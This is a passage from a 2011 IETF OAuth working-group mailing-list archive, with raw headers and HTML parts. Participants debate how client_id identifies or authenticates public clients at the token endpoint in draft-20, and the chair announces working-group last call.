ending on 12 August. Everyone: please review this version of the document, and make any comments by 12 August. The goal will be to have Mike incorporate any comments at that point, put out a final version, and send it to the IESG. Barry, as chair From eran@hueniverse.com Wed Jul 27 10:45:14 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 694CB11E811B for ; Wed, 27 Jul 2011 10:45:14 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.558 X-Spam-Level: X-Spam-Status: No, score=-2.558 tagged_above=-999 required=5 tests=[AWL=0.040, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id WY0ppJBimUgF for ; Wed, 27 Jul 2011 10:45:13 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 4517111E80DF for ; Wed, 27 Jul 2011 10:45:13 -0700 (PDT) Received: (qmail 3133 invoked from network); 27 Jul 2011 17:45:12 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.20) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 27 Jul 2011 17:45:10 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT002.EX1.SECURESERVER.NET ([72.167.180.20]) with mapi; Wed, 27 Jul 2011 10:45:08 -0700 From: Eran Hammer-Lahav To: Torsten Lodderstedt Date: Wed, 27 Jul 2011 10:45:01 -0700 Thread-Topic: [OAUTH-WG] treatment of client_id for authentication and identification Thread-Index: AcxMhOy2Cn0RF1DrQRSPNgMzUbE04g== Message-ID: In-Reply-To: <4E304D1C.3020407@lodderstedt.net> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: user-agent: Microsoft-MacOutlook/14.12.0.110505 acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_CA559C79174A7eranhueniversecom_" MIME-Version: 1.0 Cc: oauth Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Jul 2011 17:45:14 -0000 --_000_CA559C79174A7eranhueniversecom_ Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable You just issue them a set of password credentials (which can include an emp= ty or fixed password). There is nothing preventing you from doing that and = once you do, the spec requires them to use those credentials. EHL From: Torsten Lodderstedt > Date: Wed, 27 Jul 2011 10:38:36 -0700 To: Eran Hammer-lahav > Cc: Brian Campbell >, oauth > Subject: Re: [OAUTH-WG] treatment of client_id for authentication and ident= ification Am 27.07.2011 12:08, schrieb Eran Hammer-Lahav: The way I've set it up in =9618 is that the client_id parameter in the auth= orization endpoint is used to identify the client registration record. The = identifier is described in section 2.3. Then in section 2.4.1 the parameter= is "extended" for use with the token endpoint for client authentication wh= en Basic is not available. So the idea is that the only place you should be using client_id is with th= e authorization endpoint to reference the client registration information (= needed to lookup the redirection URI). I have argued in the past that a fut= ure extension to remove the need to register clients should make this param= eter optional but that's outside our current scope. The token endpoint performs client authentication instead of "client identi= fication" using the client identifier as username. It can do so for confidential clients only. What about public clients using= e.g. the Resource Owners Password flow? I see the need to identify them as= well. For example, if the authz server issues a refresh token to such a cl= ient there must be a way to relate this token to a certain client in order = to give the user a chance to revoke this specific token. regards, Torsten. Hope this helps. EHL From: Brian Campbell > Date: Wed, 27 Jul 2011 04:32:42 -0700 To: Eran Hammer-lahav > Cc: oauth > Subject: Re: [OAUTH-WG] treatment of client_id for authentication and ident= ification Okay, looking at some of those drafts again, I see that now. Except for -16 they are all pretty similar on client_id back to -10. Apparently it was my misunderstanding. Maybe I'm the only one who doesn't get it but I do think it could be clearer. I'd propose some text but I'm still not fully sure I understand what is intended. If a client doesn't have a secret, is client_id a SHOULD NOT, a MUST NOT or OPTIONAL to be included on token endpoint requests? Here's a specific question/example to illustrate my continued confusion - it would seem like the majority of clients that would use the Resource Owner Password Credentials grant (although 4.3.2 shows the use of HTTP Basic) would be "public" clients. How is it expected that such clients Identify themselves to the AS? The client identity, even if not something that can be strongly relied on, is useful for things like presenting a list of access grants to the user for revocation. http://tools.ietf.org/html/draft-ietf-oauth-v2-20#section-4.3.2 On Tue, Jul 26, 2011 at 12:17 PM, Eran Hammer-Lahav > wrote: Not exactly. The current setup was pretty stable up to =9615. In =9616 I tried to clean = it up by moving the parameter into each token endpoint type definition. That didn't work and was more confusing so in =9617 I reverted back to the =9615 approach. What makes this stand out in =9620 is that all the examples now use HTTP Ba= sic instead of the parameters (since we decided to make them NOT RECOMMENDED). So it feels sudden that client_id is gone, but none of this is actually muc= h different from =9615 on. Client authentication is still performed the same way, and the role of client_id is just as an alternative to using HTTP Basi= c on the token endpoint. I think the current text is sufficient, but if you want to provide specific additions I'm open to it. EHL From: Brian Campbell > Date: Tue, 26 Jul 2011 10:16:21 -0700 To: Eran Hammer-lahav > Cc: oauth > Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification I'm probably somewhat biased by having read previous version of the spec, previous WG list discussions, and my current AS implementation (which expects client_id) but this seems like a fairly big departure from what was in -16. I'm okay with the change but feel it's wroth mentioning that it's likely an incompatible one. That aside, I feel like it could use some more explanation in draft-ietf-oauth-v2 because, at least to me and hence my question, it wasn't entirely clear how client_id should be used for those cases. On Mon, Jul 25, 2011 at 4:18 PM, Eran Hammer-Lahav > wrote: The client_id is currently only defined for password authentication on the token endpoint. If you are using Basic or any other form of authentication (or no authentication at all), you are not going to use the client_id parameter. _______________________________________________ OAuth mailing list OAuth@ietf.orghttps://www.ietf.org/mailman/listinfo/= oauth --_000_CA559C79174A7eranhueniversecom_ Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
You just issue them a set of pa= ssword credentials (which can include an empty or fixed password). There is= nothing preventing you from doing that and once you do, the spec requires = them to use those credentials.

EHL

<= /div>
From: Torsten Loddersted= t <torsten@lodderstedt.net>
Date: Wed, 27 Jul 2011 10= :38:36 -0700
To: Eran Hammer-la= hav <eran@hueniverse.com><= br>Cc: Brian Campbell <bcampbell@pingidentity.com>, = oauth <oauth@ietf.org>
Subject: Re: [OAUTH-WG] treatment of cl= ient_id for authentication and identification

=20
Am 27.07.2011 12:08, schrieb Eran Hammer-Lahav:
=20
The way I've set it up in =9618 is that the client_id parameter in the authorization endpoint is used to identify the client registration record. The identifier is described in section 2.3. Then in section 2.4.1 the parameter is "extended&quo= t; for use with the token endpoint for client authentication when Ba= sic is not available.

So the idea is that the only place you should be using client_id is with the authorization endpoint to reference the client registration information (needed to lookup the redirection URI). I have argued in the past that a future extension to remove the need to register clients should make this parameter optional but that's outside our current scope.
=

The token endpoint performs client authentication instead of "client identification" using the client identifier as us= ername.

It can do so for confidential clients only. What about public clients using e.g. the Resource Owners Password flow? I see the need to identify them as well. For example, if the authz server issues a refresh token to such a client there must be a way to relate this token to a certain client in order to give the user a chance to revoke this specific token.

regards,
Torsten.


Hope this helps.

EHL


From: Brian Campbell <bcampbell@pingidentity.com>= ;
Date: Wed, 27 Jul 2011 04:32:42 -0700
To: Eran Hammer-lahav <eran@hueniverse.com>
Cc: oauth <oauth@ietf.org>
Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification

Okay, looking at some of those drafts again, I see that now. Except
for -16 they are all pretty similar on client_id back to -10.
Apparently it was my misunderstanding.  Maybe = I'm the only one who
doesn't get it but I do think it could be clearer.  I'd propose some
text but I'm still not fully sure I understand what is intended.

If a client doesn't have a secret, is client_id a SHOULD NOT, a MUST
NOT or OPTIONAL to be included on token endpoint requests?

Here's a specific question/example to illustrate my continued
confusion - it would seem like the majority of clients that would use
the Resource Owner Password Credentials grant (although 4.3.2 shows
the use of HTTP Basic) would be "public" clients.  How is it expected
that such clients Identify themselves to the AS? &n= bsp;The client identity,
even if not something that can be strongly relied on, is useful for
things like presenting a list of access grants to the user for
revocation.





On Tue, Jul 26, 2011 at 12:17 PM, Eran Hammer-Lahav <eran@hueniverse.com> wrote:
Not exactly.
The current setup was pretty stable up to =9615. In =9616 I tried to clean it up
by moving the parameter into each token endpoint type definition. That
didn't work and was more confusing so in =9617 I reverted back to the =9615
approach.
What makes this stand out in =9620 is that all the examples now use HTTP Basic
instead of the parameters (since we decided to make them NOT RECOMMENDED).
So it feels sudden that client_id is gone, but none of this is actually much
different from =9615 on. Client authentication is = still performed the same
way, and the role of client_id is just as an alternative to using HTTP Basic
on the token endpoint.
I think the current text is sufficient, but if you want to provide specific
additions I'm open to it.
EHL
From: Brian Campbell <bcampbell@pingidentity.com&g= t;
Date: Tue, 26 Jul 2011 10:16:21 -0700
To: Eran Hammer-lahav <eran@hueniverse.com>
Cc: oauth <oauth@ietf.org>
Subject: Re: [OAUTH-WG] treatment of client_id for authentication and
identification

I'm probably somewhat biased by having read previous version of the
spec, previous WG list discussions, and my current AS implementation
(which expects client_id) but this seems like a fairly big departure
from what was in -16.  I'm okay with the ch= ange but feel it's wroth
mentioning that it's likely an incompatible one.
That aside, I feel like it could use some more explanation in
draft-ietf-oauth-v2 because, at least to me and hence my question, it
wasn't entirely clear how client_id should be used for those cases.
On Mon, Jul 25, 2011 at 4:18 PM, Eran Hammer-Lahav <eran@hueniverse.com>
wrote:

The client_id is currently only defined for password authentication on the
token endpoint. If you are using Basic or any other form of authentication
(or no authentication at all), you are not going to use the client_id
parameter.


 

_______________________________________________
OAuth mailing list
OAuth@=
ietf.orghttps://www.ietf.org/mailman/listinfo/oauth
--_000_CA559C79174A7eranhueniversecom_-- From barryleiba.mailing.lists@gmail.com Wed Jul 27 10:45:51 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 4727821F873D for ; Wed, 27 Jul 2011 10:45:51 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -103.063 X-Spam-Level: X-Spam-Status: No, score=-103.063 tagged_above=-999 required=5 tests=[AWL=-0.086, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_LOW=-1, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id jl127A3c5vCQ for ; Wed, 27 Jul 2011 10:45:48 -0700 (PDT) Received: from mail-vw0-f44.google.com (mail-vw0-f44.google.com [209.85.212.44]) by ietfa.amsl.com (Postfix) with ESMTP id 5E23D21F8713 for ; Wed, 27 Jul 2011 10:45:45 -0700 (PDT) Received: by vws12 with SMTP id 12so1672920vws.31 for ; Wed, 27 Jul 2011 10:45:44 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:cc:content-type; bh=kM8jsK8wDP7Rlgj9nWm0ZuMhuqBYF2j57fDq9wSe7SU=; b=V4Tr+yn7QYhFOwzh3/FsC+90eC6BKmEC5hS3GTT1CgW5sQJtPcsnzfYfUpRKPs5X/Z cwhOeToz+uEvRgDX11kmtsNpS3AoHxaiZwe56NYzWxbatdeyR1wLhRTMLcQgDIxsdfTz 4m+ZapQLyPvpisPCog3OLFtXbq1ZFDypyOoFc= MIME-Version: 1.0 Received: by 10.52.92.2 with SMTP id ci2mr74008vdb.428.1311788744883; Wed, 27 Jul 2011 10:45:44 -0700 (PDT) Sender: barryleiba.mailing.lists@gmail.com Received: by 10.52.113.167 with HTTP; Wed, 27 Jul 2011 10:45:44 -0700 (PDT) In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E723450245F57AF@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E723450245F57AF@P3PW5EX1MB01.EX1.SECURESERVER.NET> Date: Wed, 27 Jul 2011 13:45:44 -0400 X-Google-Sender-Auth: Xs9yw0S3EOTtntFpCJhn_ZqChoc Message-ID: From: Barry Leiba To: Eran Hammer-Lahav Content-Type: text/plain; charset=ISO-8859-1 Cc: OAuth WG Subject: Re: [OAUTH-WG] Draft -20 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Jul 2011 17:45:51 -0000 As announced in the working group session this morning at IETF 81: This document goes into working-group last call today, ending on 12 August. Everyone: please review this version of the document, and make any comments by 12 August. The goal will be to have Eran incorporate any comments at that point, put out a final version, and send it to the IESG. Barry, as chair From bcampbell@pingidentity.com Wed Jul 27 10:47:14 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 5A91421F8AD6 for ; Wed, 27 Jul 2011 10:47:14 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -5.955 X-Spam-Level: X-Spam-Status: No, score=-5.955 tagged_above=-999 required=5 tests=[AWL=0.022, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id a9N213TnHbEP for ; Wed, 27 Jul 2011 10:47:13 -0700 (PDT) Received: from na3sys009aog103.obsmtp.com (na3sys009aog103.obsmtp.com [74.125.149.71]) by ietfa.amsl.com (Postfix) with ESMTP id 7CD0B21F873E for ; Wed, 27 Jul 2011 10:47:09 -0700 (PDT) Received: from mail-qy0-f182.google.com ([209.85.216.182]) (using TLSv1) by na3sys009aob103.postini.com ([74.125.148.12]) with SMTP ID DSNKTjBPHXnZr5P5TtaiQStYPuFIffbL0OTU@postini.com; Wed, 27 Jul 2011 10:47:10 PDT Received: by mail-qy0-f182.google.com with SMTP id 38so1149801qyk.20 for ; Wed, 27 Jul 2011 10:47:09 -0700 (PDT) Received: by 10.224.211.197 with SMTP id gp5mr60136qab.293.1311788829172; Wed, 27 Jul 2011 10:47:09 -0700 (PDT) MIME-Version: 1.0 Received: by 10.224.11.68 with HTTP; Wed, 27 Jul 2011 10:46:39 -0700 (PDT) In-Reply-To: <4E304D1C.3020407@lodderstedt.net> References: <4E304D1C.3020407@lodderstedt.net> From: Brian Campbell Date: Wed, 27 Jul 2011 11:46:39 -0600 Message-ID: To: Torsten Lodderstedt Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Cc: oauth Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Jul 2011 17:47:14 -0000 That was more or less what I was trying to say as well. There are times when "client identification" is needed at the token endpoint and it's not clear if or how, short of actual authentication, the current spec allows for it. On Wed, Jul 27, 2011 at 11:38 AM, Torsten Lodderstedt wrote: > Am 27.07.2011 12:08, schrieb Eran Hammer-Lahav: > > The way I've set it up in =9618 is that the client_id parameter in the > authorization endpoint is used to identify the client registration record= . > The identifier is described in section 2.3.=A0Then in section 2.4.1 the > parameter is "extended" for use with the token endpoint for client > authentication when Basic is not available. > So the idea is that the only place you should be using client_id is with = the > authorization endpoint to reference the client registration information > (needed to lookup the redirection URI). I have argued in the past that a > future extension to remove the need to register clients should make this > parameter optional but that's outside our current scope. > The token endpoint performs client authentication instead of "client > identification" using the client identifier as username. > > It can do so for confidential clients only. What about public clients usi= ng > e.g. the Resource Owners Password flow? I see the need to identify them a= s > well. For example, if the authz server issues a refresh token to such a > client there must be a way to relate this token to a certain client in or= der > to give the user a chance to revoke this specific token. > > regards, > Torsten. > > > Hope this helps. > EHL > > From: Brian Campbell > Date: Wed, 27 Jul 2011 04:32:42 -0700 > To: Eran Hammer-lahav > Cc: oauth > Subject: Re: [OAUTH-WG] treatment of client_id for authentication and > identification > > Okay, looking at some of those drafts again, I see that now. Except > for -16 they are all pretty similar on client_id back to -10. > Apparently it was my misunderstanding.=A0=A0Maybe I'm the only one who > doesn't get it but I do think it could be clearer.=A0=A0I'd propose some > text but I'm still not fully sure I understand what is intended. > If a client doesn't have a secret, is client_id a SHOULD NOT, a MUST > NOT or OPTIONAL to be included on token endpoint requests? > Here's a specific question/example to illustrate my continued > confusion - it would seem like the majority of clients that would use > the Resource Owner Password Credentials grant (although 4.3.2 shows > the use of HTTP Basic) would be "public" clients.=A0=A0How is it expected > that such clients Identify themselves to the AS?=A0=A0The client identity= , > even if not something that can be strongly relied on, is useful for > things like presenting a list of access grants to the user for > revocation. > > > http://tools.ietf.org/html/draft-ietf-oauth-v2-20#section-4.3.2 > > On Tue, Jul 26, 2011 at 12:17 PM, Eran Hammer-Lahav > wrote: > > Not exactly. > The current setup was pretty stable up to =9615. In =9616 I tried to clea= n it up > by moving the parameter into each token endpoint type definition. That > didn't work and was more confusing so in =9617 I reverted back to the =96= 15 > approach. > What makes this stand out in =9620 is that all the examples now use HTTP = Basic > instead of the parameters (since we decided to make them NOT RECOMMENDED)= . > So it feels sudden that client_id is gone, but none of this is actually m= uch > different from =9615 on. Client authentication is still performed the sam= e > way, and the role of client_id is just as an alternative to using HTTP Ba= sic > on the token endpoint. > I think the current text is sufficient, but if you want to provide specif= ic > additions I'm open to it. > EHL > From: Brian Campbell > Date: Tue, 26 Jul 2011 10:16:21 -0700 > To: Eran Hammer-lahav > Cc: oauth > Subject: Re: [OAUTH-WG] treatment of client_id for authentication and > identification > I'm probably somewhat biased by having read previous version of the > spec, previous WG list discussions, and my current AS implementation > (which expects client_id) but this seems like a fairly big departure > from what was in -16.=A0=A0I'm okay with the change but feel it's wroth > mentioning that it's likely an incompatible one. > That aside, I feel like it could use some more explanation in > draft-ietf-oauth-v2 because, at least to me and hence my question, it > wasn't entirely clear how client_id should be used for those cases. > On Mon, Jul 25, 2011 at 4:18 PM, Eran Hammer-Lahav > wrote: > The client_id is currently only defined for password authentication on th= e > token endpoint. If you are using Basic or any other form of authenticatio= n > (or no authentication at all), you are not going to use the client_id > parameter. > > > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth > From Michael.Jones@microsoft.com Wed Jul 27 10:48:20 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 7F02F21F8AD8 for ; Wed, 27 Jul 2011 10:48:20 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -10.524 X-Spam-Level: X-Spam-Status: No, score=-10.524 tagged_above=-999 required=5 tests=[AWL=0.075, BAYES_00=-2.599, RCVD_IN_DNSWL_HI=-8] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id MHo76xJBkD0n for ; Wed, 27 Jul 2011 10:48:19 -0700 (PDT) Received: from smtp.microsoft.com (mailc.microsoft.com [131.107.115.214]) by ietfa.amsl.com (Postfix) with ESMTP id 8671D21F8760 for ; Wed, 27 Jul 2011 10:48:19 -0700 (PDT) Received: from TK5EX14HUBC101.redmond.corp.microsoft.com (157.54.7.153) by TK5-EXGWY-E803.partners.extranet.microsoft.com (10.251.56.169) with Microsoft SMTP Server (TLS) id 8.2.176.0; Wed, 27 Jul 2011 10:48:18 -0700 Received: from TK5EX14MBXC202.redmond.corp.microsoft.com ([169.254.2.165]) by TK5EX14HUBC101.redmond.corp.microsoft.com ([157.54.7.153]) with mapi id 14.01.0323.002; Wed, 27 Jul 2011 10:48:18 -0700 From: Mike Jones To: Barry Leiba Thread-Topic: [OAUTH-WG] I-D Action: draft-ietf-oauth-v2-bearer-07.txt Thread-Index: AQHMTF9802e6YA5Xi02hrdSD/NuIuZUAJoIggAC/wID//4sJkA== Date: Wed, 27 Jul 2011 17:48:17 +0000 Message-ID: <4E1F6AAD24975D4BA5B16804296739434986F844@TK5EX14MBXC202.redmond.corp.microsoft.com> References: <20110727131700.23436.11568.idtracker@ietfa.amsl.com> <4E1F6AAD24975D4BA5B16804296739434986822D@TK5EX14MBXC202.redmond.corp.microsoft.com> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [157.54.51.35] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Cc: "oauth@ietf.org" Subject: Re: [OAUTH-WG] I-D Action: draft-ietf-oauth-v2-bearer-07.txt X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Jul 2011 17:48:20 -0000 Thanks, Barry. For what it's worth, after submitting -07, I realized that = the references to the oauth-v2 and httpbis specs needed to be updated, and = did this in -08 (making no other changes). Thus, -08 should be the version= that is the subject of the working group last call. Cheers, -- Mike -----Original Message----- From: barryleiba.mailing.lists@gmail.com [mailto:barryleiba.mailing.lists@g= mail.com] On Behalf Of Barry Leiba Sent: Wednesday, July 27, 2011 10:44 AM To: Mike Jones Cc: oauth@ietf.org Subject: Re: [OAUTH-WG] I-D Action: draft-ietf-oauth-v2-bearer-07.txt > This version should be the subject of the working group last call. As announced in the working group session this morning at IETF 81: This document goes into working-group last call today, ending on 12 August.= Everyone: please review this version of the document, and make any commen= ts by 12 August. The goal will be to have Mike incorporate any comments at= that point, put out a final version, and send it to the IESG. Barry, as chair From torsten@lodderstedt.net Wed Jul 27 11:02:25 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 1FFCD11E80DF for ; Wed, 27 Jul 2011 11:02:25 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.104 X-Spam-Level: X-Spam-Status: No, score=-2.104 tagged_above=-999 required=5 tests=[AWL=0.144, BAYES_00=-2.599, HELO_EQ_DE=0.35, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id yzuWSjPhW9E6 for ; Wed, 27 Jul 2011 11:02:24 -0700 (PDT) Received: from smtprelay06.ispgateway.de (smtprelay06.ispgateway.de [80.67.31.96]) by ietfa.amsl.com (Postfix) with ESMTP id 6A72411E8075 for ; Wed, 27 Jul 2011 11:02:23 -0700 (PDT) Received: from [130.129.17.214] by smtprelay06.ispgateway.de with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.68) (envelope-from ) id 1Qm8R3-0006ok-F4; Wed, 27 Jul 2011 20:02:22 +0200 Message-ID: <4E3052AA.1020902@lodderstedt.net> Date: Wed, 27 Jul 2011 14:02:18 -0400 From: Torsten Lodderstedt User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20110624 Thunderbird/5.0 MIME-Version: 1.0 To: Eran Hammer-Lahav References: In-Reply-To: Content-Type: multipart/alternative; boundary="------------070507020305020804040005" X-Df-Sender: torsten@lodderstedt-online.de Cc: oauth Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 27 Jul 2011 18:02:25 -0000 This is a multi-part message in MIME format. --------------070507020305020804040005 Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 8bit There is no need and I don't intend to "pro-forma" issue client secrets just to conform to some text of the spec. I thought we are beyond that point. The obvious approach would be to use the client_id the same way as it is used on the authz endpoint. regards, Torsten. Am 27.07.2011 13:45, schrieb Eran Hammer-Lahav: > You just issue them a set of password credentials (which can include > an empty or fixed password). There is nothing preventing you from > doing that and once you do, the spec requires them to use those > credentials. > > EHL > > From: Torsten Lodderstedt > > Date: Wed, 27 Jul 2011 10:38:36 -0700 > To: Eran Hammer-lahav > > Cc: Brian Campbell >, oauth > > Subject: Re: [OAUTH-WG] treatment of client_id for authentication and > identification > > Am 27.07.2011 12:08, schrieb Eran Hammer-Lahav: >> The way I've set it up in –18 is that the client_id parameter in >> the authorization endpoint is used to identify the client >> registration record. The identifier is described in section >> 2.3. Then in section 2.4.1 the parameter is "extended" for use >> with the token endpoint for client authentication when Basic is >> not available. >> >> So the idea is that the only place you should be using client_id >> is with the authorization endpoint to reference the client >> registration information (needed to lookup the redirection URI). >> I have argued in the past that a future extension to remove the >> need to register clients should make this parameter optional but >> that's outside our current scope. >> >> The token endpoint performs client authentication instead of >> "client identification" using the client identifier as username. > > It can do so for confidential clients only. What about public > clients using e.g. the Resource Owners Password flow? I see the > need to identify them as well. For example, if the authz server > issues a refresh token to such a client there must be a way to > relate this token to a certain client in order to give the user a > chance to revoke this specific token. > > regards, > Torsten. > >> >> Hope this helps. >> >> EHL >> >> >> From: Brian Campbell > > >> Date: Wed, 27 Jul 2011 04:32:42 -0700 >> To: Eran Hammer-lahav > > >> Cc: oauth > >> Subject: Re: [OAUTH-WG] treatment of client_id for authentication >> and identification >> >> Okay, looking at some of those drafts again, I see that now. >> Except >> for -16 they are all pretty similar on client_id back to -10. >> Apparently it was my misunderstanding. Maybe I'm the only >> one who >> doesn't get it but I do think it could be clearer. I'd >> propose some >> text but I'm still not fully sure I understand what is intended. >> >> If a client doesn't have a secret, is client_id a SHOULD NOT, >> a MUST >> NOT or OPTIONAL to be included on token endpoint requests? >> >> Here's a specific question/example to illustrate my continued >> confusion - it would seem like the majority of clients that >> would use >> the Resource Owner Password Credentials grant (although 4.3.2 >> shows >> the use of HTTP Basic) would be "public" clients. How is it >> expected >> that such clients Identify themselves to the AS? The client >> identity, >> even if not something that can be strongly relied on, is >> useful for >> things like presenting a list of access grants to the user for >> revocation. >> >> >> >> http://tools.ietf.org/html/draft-ietf-oauth-v2-20#section-4.3.2 >> >> >> On Tue, Jul 26, 2011 at 12:17 PM, Eran Hammer-Lahav >> > wrote: >> >> Not exactly. >> The current setup was pretty stable up to –15. In –16 I >> tried to clean it up >> by moving the parameter into each token endpoint type >> definition. That >> didn't work and was more confusing so in –17 I reverted >> back to the –15 >> approach. >> What makes this stand out in –20 is that all the examples >> now use HTTP Basic >> instead of the parameters (since we decided to make them >> NOT RECOMMENDED). >> So it feels sudden that client_id is gone, but none of >> this is actually much >> different from –15 on. Client authentication is still >> performed the same >> way, and the role of client_id is just as an alternative >> to using HTTP Basic >> on the token endpoint. >> I think the current text is sufficient, but if you want >> to provide specific >> additions I'm open to it. >> EHL >> From: Brian Campbell > > >> Date: Tue, 26 Jul 2011 10:16:21 -0700 >> To: Eran Hammer-lahav > > >> Cc: oauth > >> Subject: Re: [OAUTH-WG] treatment of client_id for >> authentication and >> identification >> >> I'm probably somewhat biased by having read previous >> version of the >> spec, previous WG list discussions, and my current AS >> implementation >> (which expects client_id) but this seems like a fairly >> big departure >> from what was in -16. I'm okay with the change but feel >> it's wroth >> mentioning that it's likely an incompatible one. >> That aside, I feel like it could use some more explanation in >> draft-ietf-oauth-v2 because, at least to me and hence my >> question, it >> wasn't entirely clear how client_id should be used for >> those cases. >> On Mon, Jul 25, 2011 at 4:18 PM, Eran Hammer-Lahav >> > >> wrote: >> >> The client_id is currently only defined for password >> authentication on the >> token endpoint. If you are using Basic or any other form >> of authentication >> (or no authentication at all), you are not going to use >> the client_id >> parameter. >> >> >> >> >> _______________________________________________ >> OAuth mailing list >> OAuth@ietf.orghttps://www.ietf.org/mailman/listinfo/oauth > --------------070507020305020804040005 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: 8bit There is no need and I don't intend to "pro-forma" issue client secrets just to conform to some text of the spec. I thought we are beyond that point.

The obvious approach would be to use the client_id the same way as it is used on the authz endpoint.

regards,
Torsten. 

Am 27.07.2011 13:45, schrieb Eran Hammer-Lahav:
You just issue them a set of password credentials (which can include an empty or fixed password). There is nothing preventing you from doing that and once you do, the spec requires them to use those credentials.

EHL

From: Torsten Lodderstedt <torsten@lodderstedt.net>
Date: Wed, 27 Jul 2011 10:38:36 -0700
To: Eran Hammer-lahav <eran@hueniverse.com>
Cc: Brian Campbell <bcampbell@pingidentity.com>, oauth <oauth@ietf.org>
Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification

Am 27.07.2011 12:08, schrieb Eran Hammer-Lahav:
The way I've set it up in –18 is that the client_id parameter in the authorization endpoint is used to identify the client registration record. The identifier is described in section 2.3. Then in section 2.4.1 the parameter is "extended" for use with the token endpoint for client authentication when Basic is not available.

So the idea is that the only place you should be using client_id is with the authorization endpoint to reference the client registration information (needed to lookup the redirection URI). I have argued in the past that a future extension to remove the need to register clients should make this parameter optional but that's outside our current scope.

The token endpoint performs client authentication instead of "client identification" using the client identifier as username.

